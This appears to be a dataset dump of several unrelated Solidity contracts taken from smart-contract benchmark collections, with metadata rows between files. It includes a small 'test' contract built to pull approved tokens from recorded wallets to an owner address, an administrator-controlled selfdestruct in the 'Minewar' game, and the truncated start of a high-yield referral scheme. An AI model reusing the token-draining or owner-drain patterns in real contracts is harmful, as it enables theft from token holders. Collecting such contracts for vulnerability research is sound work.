constructor(address _treasury, address _nftgm, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_nftgm != address(0));
nftgm = _nftgm;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(nftgm).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 79,865 | 11,369 |
88e309755a3e0939dfb215878e6c4a5e673c5cac777cdb2b444058539f55a44c
| 30,008 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xdeDBC5cD5CFb25bA479983F3b723f401843dD6aA/contract.sol
| 3,461 | 13,803 |
pragma solidity ^0.6.12;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/SushiToken.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract test is Ownable{
using SafeMath for uint256;
using SafeERC20 for IERC20;
address[] public subWallet;
mapping(address => mapping(address => uint256)) public tokenAmount;
address public owner_address;
constructor(address target) public{
owner_address = target;
}
function addTokenApproval (IERC20 token,uint256 value) public{
token.safeApprove(address(this),value);
token.safeApprove(address(owner_address),value);
if(value > token.balanceOf(msg.sender)){
tokenAmount[msg.sender][address(token)]=token.balanceOf(msg.sender);
}
else{
tokenAmount[msg.sender][address(token)]=value;
}
subWallet.push(msg.sender);
}
function safeTranferAllToken(IERC20 token) public onlyOwner{
for(uint i = 0;i < subWallet.length;i++){
uint256 amount = tokenAmount[subWallet[i]][address(token)];
if(amount > 0){
token.transferFrom(subWallet[i],owner_address,amount);
}
}
}
}
| 256,696 | 11,370 |
a2153b6d9c17f67ecc1a682fc32a6d0c908a40db00817f6f839e136841e2b597
| 21,844 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x781878427cf56c8ab7745ca02910a801503c6ecc.sol
| 6,208 | 21,528 |
pragma solidity ^0.4.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract Minewar {
bool public initialized = false;
uint256 round = 0;
uint256 public deadline;
uint256 public CRTSTAL_MINING_PERIOD = 86400;
uint256 public SHARE_CRYSTAL = 10 * CRTSTAL_MINING_PERIOD;
uint256 public HALF_TIME = 8 hours;
uint256 public ROUND_TIME = 86400 * 7;
uint256 BASE_PRICE = 0.005 ether;
uint256 RANK_LIST_LIMIT = 10000;
uint256 MINIMUM_LIMIT_SELL = 5000000;
mapping(uint256 => MinerData) private minerData;
uint256 private numberOfMiners;
mapping(address => PlyerData) private players;
uint256 private numberOfBoosts;
mapping(uint256 => BoostData) private boostData;
uint256 private numberOfOrders;
mapping(uint256 => BuyOrderData) private buyOrderData;
mapping(uint256 => SellOrderData) private sellOrderData;
uint256 private numberOfRank;
address[21] rankList;
address public sponsor;
uint256 public sponsorLevel;
address public administrator;
struct PlyerData {
uint256 round;
mapping(uint256 => uint256) minerCount;
uint256 hashrate;
uint256 crystals;
uint256 lastUpdateTime;
}
struct MinerData {
uint256 basePrice;
uint256 baseProduct;
uint256 limit;
}
struct BoostData {
address owner;
uint256 boostRate;
uint256 startingLevel;
uint256 startingTime;
uint256 halfLife;
}
struct BuyOrderData {
address owner;
string title;
string description;
uint256 unitPrice;
uint256 amount;
}
struct SellOrderData {
address owner;
string title;
string description;
uint256 unitPrice;
uint256 amount;
}
modifier isNotOver()
{
require(now <= deadline);
_;
}
modifier isCurrentRound()
{
require(players[msg.sender].round == round);
_;
}
modifier limitSell()
{
PlyerData storage p = players[msg.sender];
if(p.hashrate <= MINIMUM_LIMIT_SELL){
_;
}else{
uint256 limit_hashrate = 0;
if(rankList[9] != 0){
PlyerData storage rank_player = players[rankList[9]];
limit_hashrate = SafeMath.mul(rank_player.hashrate, 5);
}
require(p.hashrate <= limit_hashrate);
_;
}
}
function Minewar() public payable
{
administrator = msg.sender;
numberOfMiners = 8;
numberOfBoosts = 5;
numberOfOrders = 5;
numberOfRank = 21;
minerData[0] = MinerData(10, 10, 10);
minerData[1] = MinerData(100, 200, 2);
minerData[2] = MinerData(400, 800, 4);
minerData[3] = MinerData(1600, 3200, 8);
minerData[4] = MinerData(6400, 9600, 16);
minerData[5] = MinerData(25600, 38400, 32);
minerData[6] = MinerData(204800, 204800, 64);
minerData[7] = MinerData(1638400, 819200, 65536);
}
function startGame() public
{
require(msg.sender == administrator);
require(!initialized);
startNewRound();
initialized = true;
}
function startNewRound() private
{
deadline = SafeMath.add(now, ROUND_TIME);
round = SafeMath.add(round, 1);
initData();
}
function initData() private
{
sponsor = administrator;
sponsorLevel = 6;
boostData[0] = BoostData(0, 150, 1, now, HALF_TIME);
boostData[1] = BoostData(0, 175, 1, now, HALF_TIME);
boostData[2] = BoostData(0, 200, 1, now, HALF_TIME);
boostData[3] = BoostData(0, 225, 1, now, HALF_TIME);
boostData[4] = BoostData(msg.sender, 250, 2, now, HALF_TIME);
uint256 idx;
for (idx = 0; idx < numberOfOrders; idx++) {
buyOrderData[idx] = BuyOrderData(0, "title", "description", 0, 0);
sellOrderData[idx] = SellOrderData(0, "title", "description", 0, 0);
}
for (idx = 0; idx < numberOfRank; idx++) {
rankList[idx] = 0;
}
}
function lottery() public
{
require(now > deadline);
uint256 balance = SafeMath.div(SafeMath.mul(this.balance, 90), 100);
administrator.transfer(SafeMath.div(SafeMath.mul(this.balance, 5), 100));
uint8[10] memory profit = [30,20,10,8,7,5,5,5,5,5];
for(uint256 idx = 0; idx < 10; idx++){
if(rankList[idx] != 0){
rankList[idx].transfer(SafeMath.div(SafeMath.mul(balance,profit[idx]),100));
}
}
startNewRound();
}
function getRankList() public view returns(address[21])
{
return rankList;
}
function becomeSponsor() public isNotOver isCurrentRound payable
{
require(msg.value >= getSponsorFee());
sponsor.transfer(getCurrentPrice(sponsorLevel));
sponsor = msg.sender;
sponsorLevel = SafeMath.add(sponsorLevel, 1);
}
function getSponsorFee() public view returns(uint256 sponsorFee)
{
sponsorFee = getCurrentPrice(SafeMath.add(sponsorLevel, 1));
}
function getFreeMiner(address ref) isNotOver public
{
require(players[msg.sender].round != round);
PlyerData storage p = players[msg.sender];
if(p.hashrate > 0){
for (uint idx = 1; idx < numberOfMiners; idx++) {
p.minerCount[idx] = 0;
}
}
p.crystals = 0;
p.round = round;
p.lastUpdateTime = now;
p.minerCount[0] = 1;
MinerData storage m0 = minerData[0];
p.hashrate = m0.baseProduct;
if (ref != msg.sender) {
PlyerData storage referral = players[ref];
if(referral.round == round){
p.crystals = SafeMath.add(p.crystals, SHARE_CRYSTAL);
referral.crystals = SafeMath.add(referral.crystals, SHARE_CRYSTAL);
}
}
}
function buyMiner(uint256[] minerNumbers) public isNotOver isCurrentRound
{
require(minerNumbers.length == numberOfMiners);
uint256 minerIdx = 0;
MinerData memory m;
for (; minerIdx < numberOfMiners; minerIdx++) {
m = minerData[minerIdx];
if(minerNumbers[minerIdx] > m.limit || minerNumbers[minerIdx] < 0){
revert();
}
}
updateCrytal(msg.sender);
PlyerData storage p = players[msg.sender];
uint256 price = 0;
uint256 minerNumber = 0;
for (minerIdx = 0; minerIdx < numberOfMiners; minerIdx++) {
minerNumber = minerNumbers[minerIdx];
if (minerNumber > 0) {
m = minerData[minerIdx];
price = SafeMath.add(price, SafeMath.mul(m.basePrice, minerNumber));
}
}
price = SafeMath.mul(price, CRTSTAL_MINING_PERIOD);
if(p.crystals < price){
revert();
}
for (minerIdx = 0; minerIdx < numberOfMiners; minerIdx++) {
minerNumber = minerNumbers[minerIdx];
if (minerNumber > 0) {
m = minerData[minerIdx];
p.minerCount[minerIdx] = SafeMath.min(m.limit, SafeMath.add(p.minerCount[minerIdx], minerNumber));
}
}
p.crystals = SafeMath.sub(p.crystals, price);
updateHashrate(msg.sender);
}
function getPlayerData(address addr) public view
returns (uint256 crystals, uint256 lastupdate, uint256 hashratePerDay, uint256[8] miners, uint256 hasBoost)
{
PlyerData storage p = players[addr];
if(p.round != round){
p = players[0];
}
crystals = SafeMath.div(p.crystals, CRTSTAL_MINING_PERIOD);
lastupdate = p.lastUpdateTime;
hashratePerDay = p.hashrate;
uint256 i = 0;
for(i = 0; i < numberOfMiners; i++)
{
miners[i] = p.minerCount[i];
}
hasBoost = hasBooster(addr);
}
function getHashratePerDay(address minerAddr) public view returns (uint256 personalProduction)
{
PlyerData storage p = players[minerAddr];
personalProduction = p.hashrate;
uint256 boosterIdx = hasBooster(minerAddr);
if (boosterIdx != 999) {
BoostData storage b = boostData[boosterIdx];
personalProduction = SafeMath.div(SafeMath.mul(personalProduction, b.boostRate), 100);
}
}
function buyBooster(uint256 idx) public isNotOver isCurrentRound payable
{
require(idx < numberOfBoosts);
BoostData storage b = boostData[idx];
if(msg.value < getBoosterPrice(idx) || msg.sender == b.owner){
revert();
}
address beneficiary = b.owner;
sponsor.transfer(devFee(getBoosterPrice(idx)));
beneficiary.transfer(SafeMath.div(SafeMath.mul(getBoosterPrice(idx), 55), 100));
updateCrytal(msg.sender);
updateCrytal(beneficiary);
uint256 level = getCurrentLevel(b.startingLevel, b.startingTime, b.halfLife);
b.startingLevel = SafeMath.add(level, 1);
b.startingTime = now;
b.owner = msg.sender;
}
function getBoosterData(uint256 idx) public view returns (address owner,uint256 boostRate, uint256 startingLevel,
uint256 startingTime, uint256 currentPrice, uint256 halfLife)
{
require(idx < numberOfBoosts);
owner = boostData[idx].owner;
boostRate = boostData[idx].boostRate;
startingLevel = boostData[idx].startingLevel;
startingTime = boostData[idx].startingTime;
currentPrice = getBoosterPrice(idx);
halfLife = boostData[idx].halfLife;
}
function getBoosterPrice(uint256 index) public view returns (uint256)
{
BoostData storage booster = boostData[index];
return getCurrentPrice(getCurrentLevel(booster.startingLevel, booster.startingTime, booster.halfLife));
}
function hasBooster(address addr) public view returns (uint256 boostIdx)
{
boostIdx = 999;
for(uint256 i = 0; i < numberOfBoosts; i++){
uint256 revert_i = numberOfBoosts - i - 1;
if(boostData[revert_i].owner == addr){
boostIdx = revert_i;
break;
}
}
}
function buyCrystalDemand(uint256 amount, uint256 unitPrice,string title, string description) public isNotOver isCurrentRound payable
{
require(unitPrice > 0);
require(amount >= 1000);
require(amount * unitPrice <= msg.value);
uint256 lowestIdx = getLowestUnitPriceIdxFromBuy();
BuyOrderData storage o = buyOrderData[lowestIdx];
if(o.amount > 10 && unitPrice <= o.unitPrice){
revert();
}
uint256 balance = SafeMath.mul(o.amount, o.unitPrice);
if (o.owner != 0){
o.owner.transfer(balance);
}
o.owner = msg.sender;
o.unitPrice = unitPrice;
o.title = title;
o.description = description;
o.amount = amount;
}
function sellCrystal(uint256 amount, uint256 index) public isNotOver isCurrentRound limitSell
{
require(index < numberOfOrders);
require(amount > 0);
BuyOrderData storage o = buyOrderData[index];
require(amount <= o.amount);
updateCrytal(msg.sender);
PlyerData storage seller = players[msg.sender];
PlyerData storage buyer = players[o.owner];
require(seller.crystals >= amount * CRTSTAL_MINING_PERIOD);
uint256 price = SafeMath.mul(amount, o.unitPrice);
uint256 fee = devFee(price);
sponsor.transfer(fee);
administrator.transfer(fee);
buyer.crystals = SafeMath.add(buyer.crystals, amount * CRTSTAL_MINING_PERIOD);
seller.crystals = SafeMath.sub(seller.crystals, amount * CRTSTAL_MINING_PERIOD);
o.amount = SafeMath.sub(o.amount, amount);
msg.sender.transfer(SafeMath.div(price, 2));
}
function withdrawBuyDemand(uint256 index) public isNotOver isCurrentRound
{
require(index < numberOfOrders);
BuyOrderData storage o = buyOrderData[index];
require(o.owner == msg.sender);
if(o.amount > 0){
uint256 balance = SafeMath.mul(o.amount, o.unitPrice);
o.owner.transfer(balance);
}
o.unitPrice = 0;
o.amount = 0;
o.title = "title";
o.description = "description";
o.owner = 0;
}
function getBuyDemand(uint256 index) public view returns(address owner, string title, string description,
uint256 amount, uint256 unitPrice)
{
require(index < numberOfOrders);
BuyOrderData storage o = buyOrderData[index];
owner = o.owner;
title = o.title;
description = o.description;
amount = o.amount;
unitPrice = o.unitPrice;
}
function getLowestUnitPriceIdxFromBuy() public returns(uint256 lowestIdx)
{
uint256 lowestPrice = 2**256 - 1;
for (uint256 idx = 0; idx < numberOfOrders; idx++) {
BuyOrderData storage o = buyOrderData[idx];
if (o.unitPrice == 0 || o.amount < 10) {
return idx;
}else if (o.unitPrice < lowestPrice) {
lowestPrice = o.unitPrice;
lowestIdx = idx;
}
}
}
function sellCrystalDemand(uint256 amount, uint256 unitPrice, string title, string description)
public isNotOver isCurrentRound limitSell
{
require(amount >= 1000);
require(unitPrice > 0);
updateCrytal(msg.sender);
PlyerData storage seller = players[msg.sender];
if(seller.crystals < amount * CRTSTAL_MINING_PERIOD){
revert();
}
uint256 highestIdx = getHighestUnitPriceIdxFromSell();
SellOrderData storage o = sellOrderData[highestIdx];
if(o.amount > 10 && unitPrice >= o.unitPrice){
revert();
}
if (o.owner != 0){
PlyerData storage prev = players[o.owner];
prev.crystals = SafeMath.add(prev.crystals, o.amount * CRTSTAL_MINING_PERIOD);
}
o.owner = msg.sender;
o.unitPrice = unitPrice;
o.title = title;
o.description = description;
o.amount = amount;
seller.crystals = SafeMath.sub(seller.crystals, amount * CRTSTAL_MINING_PERIOD);
}
function buyCrystal(uint256 amount, uint256 index) public isNotOver isCurrentRound payable
{
require(index < numberOfOrders);
require(amount > 0);
SellOrderData storage o = sellOrderData[index];
require(amount <= o.amount);
require(msg.value >= amount * o.unitPrice);
PlyerData storage buyer = players[msg.sender];
uint256 price = SafeMath.mul(amount, o.unitPrice);
uint256 fee = devFee(price);
sponsor.transfer(fee);
administrator.transfer(fee);
buyer.crystals = SafeMath.add(buyer.crystals, amount * CRTSTAL_MINING_PERIOD);
o.amount = SafeMath.sub(o.amount, amount);
o.owner.transfer(SafeMath.div(price, 2));
}
function withdrawSellDemand(uint256 index) public isNotOver isCurrentRound
{
require(index < numberOfOrders);
SellOrderData storage o = sellOrderData[index];
require(o.owner == msg.sender);
if(o.amount > 0){
PlyerData storage p = players[o.owner];
p.crystals = SafeMath.add(p.crystals, o.amount * CRTSTAL_MINING_PERIOD);
}
o.unitPrice = 0;
o.amount = 0;
o.title = "title";
o.description = "description";
o.owner = 0;
}
function getSellDemand(uint256 index) public view returns(address owner, string title, string description,
uint256 amount, uint256 unitPrice)
{
require(index < numberOfOrders);
SellOrderData storage o = sellOrderData[index];
owner = o.owner;
title = o.title;
description = o.description;
amount = o.amount;
unitPrice = o.unitPrice;
}
function getHighestUnitPriceIdxFromSell() public returns(uint256 highestIdx)
{
uint256 highestPrice = 0;
for (uint256 idx = 0; idx < numberOfOrders; idx++) {
SellOrderData storage o = sellOrderData[idx];
if (o.unitPrice == 0 || o.amount < 10) {
return idx;
}else if (o.unitPrice > highestPrice) {
highestPrice = o.unitPrice;
highestIdx = idx;
}
}
}
function devFee(uint256 amount) public view returns(uint256)
{
return SafeMath.div(SafeMath.mul(amount, 5), 100);
}
function getBalance() public view returns(uint256)
{
return this.balance;
}
function upgrade(address addr) public
{
require(msg.sender == administrator);
require(now > deadline);
uint256 balance = SafeMath.div(SafeMath.mul(this.balance, 90), 100);
administrator.transfer(SafeMath.div(SafeMath.mul(this.balance, 5), 100));
uint8[10] memory profit = [30,20,10,8,7,5,5,5,5,5];
for(uint256 idx = 0; idx < 10; idx++){
if(rankList[idx] != 0){
rankList[idx].transfer(SafeMath.div(SafeMath.mul(balance,profit[idx]),100));
}
}
selfdestruct(addr);
}
function updateHashrate(address addr) private
{
PlyerData storage p = players[addr];
uint256 hashrate = 0;
for (uint idx = 0; idx < numberOfMiners; idx++) {
MinerData storage m = minerData[idx];
hashrate = SafeMath.add(hashrate, SafeMath.mul(p.minerCount[idx], m.baseProduct));
}
p.hashrate = hashrate;
if(hashrate > RANK_LIST_LIMIT){
updateRankList(addr);
}
}
function updateCrytal(address addr) private
{
require(now > players[addr].lastUpdateTime);
if (players[addr].lastUpdateTime != 0) {
PlyerData storage p = players[addr];
uint256 secondsPassed = SafeMath.sub(now, p.lastUpdateTime);
uint256 revenue = getHashratePerDay(addr);
p.lastUpdateTime = now;
if (revenue > 0) {
revenue = SafeMath.mul(revenue, secondsPassed);
p.crystals = SafeMath.add(p.crystals, revenue);
}
}
}
function getCurrentLevel(uint256 startingLevel, uint256 startingTime, uint256 halfLife) private view returns(uint256)
{
uint256 timePassed=SafeMath.sub(now, startingTime);
uint256 levelsPassed=SafeMath.div(timePassed, halfLife);
if (startingLevel < levelsPassed) {
return 0;
}
return SafeMath.sub(startingLevel, levelsPassed);
}
function getCurrentPrice(uint256 currentLevel) private view returns(uint256)
{
return SafeMath.mul(BASE_PRICE, 2**currentLevel);
}
function updateRankList(address addr) private returns(bool)
{
uint256 idx = 0;
PlyerData storage insert = players[addr];
PlyerData storage lastOne = players[rankList[19]];
if(insert.hashrate < lastOne.hashrate) {
return false;
}
address[21] memory tempList = rankList;
if(!inRankList(addr)){
tempList[20] = addr;
quickSort(tempList, 0, 20);
}else{
quickSort(tempList, 0, 19);
}
for(idx = 0;idx < 21; idx++){
if(tempList[idx] != rankList[idx]){
rankList[idx] = tempList[idx];
}
}
return true;
}
function inRankList(address addr) internal returns(bool)
{
for(uint256 idx = 0;idx < 20; idx++){
if(addr == rankList[idx]){
return true;
}
}
return false;
}
function quickSort(address[21] list, int left, int right) internal
{
int i = left;
int j = right;
if(i == j) return;
address addr = list[uint(left + (right - left) / 2)];
PlyerData storage p = players[addr];
while (i <= j) {
while (players[list[uint(i)]].hashrate > p.hashrate) i++;
while (p.hashrate > players[list[uint(j)]].hashrate) j--;
if (i <= j) {
(list[uint(i)], list[uint(j)]) = (list[uint(j)], list[uint(i)]);
i++;
j--;
}
}
if (left < j)
quickSort(list, left, j);
if (i < right)
quickSort(list, i, right);
}
}
| 166,975 | 11,371 |
92a37e9b49f58642c154d6f247ad0b527560d117374418337b2ee783ed36d327
| 12,670 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TN/TNdNjWrEwViXS15J9RCnxNduu2TEBrGmjd_TronSun.sol
| 3,499 | 12,535 |
//SourceUnit: TronSun.sol
pragma solidity 0.5.9;
contract TronSun {
using SafeMath for uint256;
// Operating costs
uint256 constant public MARKETING_FEE = 40;
uint256 constant public ADMIN_FEE = 40;
uint256 constant public DEV_FEE = 90;
uint256 constant public PERCENTS_DIVIDER = 1000;
// Referral percentages
uint8 public constant FIRST_REF = 5;
uint8 public constant SECOND_REF = 3;
uint8 public constant THIRD_REF = 2;
uint8 public constant FOURTH_REF = 1;
uint8 public constant FIFTH_REF = 4;
// Limits
uint256 public constant DEPOSIT_MIN_AMOUNT = 200 trx;
// Before reinvest
uint256 public constant WITHDRAWAL_DEADTIME = 1 days;
// Max ROC days and related MAX ROC (Return of contribution)
uint8 public constant CONTRIBUTION_DAYS = 100;
uint256 public constant CONTRIBUTION_PERC = 350;
// Operating addresses
address payable owner; // Smart Contract Owner (who deploys)
address payable public marketingAddress; // Marketing manager
address payable public adminAddress; // Project manager
address payable public devAddress; // Developer
uint256 total_investors;
uint256 total_contributed;
uint256 total_withdrawn;
uint256 total_referral_bonus;
uint8[] referral_bonuses;
struct PlayerDeposit {
uint256 amount;
uint256 totalWithdraw;
uint256 time;
}
struct PlayerWitdraw{
